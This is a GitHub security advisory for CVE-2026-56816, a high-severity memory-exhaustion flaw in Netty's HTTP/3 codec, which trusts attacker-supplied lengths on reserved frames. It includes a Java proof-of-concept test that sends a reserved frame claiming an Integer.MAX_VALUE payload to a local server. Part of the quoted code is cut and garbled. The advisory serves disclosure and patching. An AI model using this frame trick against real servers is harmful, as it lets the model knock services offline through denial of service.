GitHub Advisoryadvisory · Maven

GHSA-hpcc-26xq-25fv Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types

HIGH Published 2026-07-22 Modified 2026-07-22 Official page ↗
Aliases
CVE-2026-56816
Ecosystem
Maven
Packages
io.netty:netty-codec-http3
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400
Reviewed
2026-07-22

Affected packages

• Maven io.netty:netty-codec-http3: < 4.2.16.Final → fixed in 4.2.16.Final

Description

Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened. Details `io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows: ```java // Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() () { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build(); Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel(); QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .build(); Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel(); QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get(); QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get(); ByteBuf header = Unpooled.buffer(); // Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40); // Write payload length (Integer.MAX_VALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF); rawStream.write(header); // Write the maximum allowed payload int payloadSize = 1_000_000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync(); assertTrue(quicChannel.isActive()); quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } } ``` Impact Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

Related

Alias · CVE (1)

  • CVE-2026-56816 Netty is a network application framework for development of protocol servers and clients. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References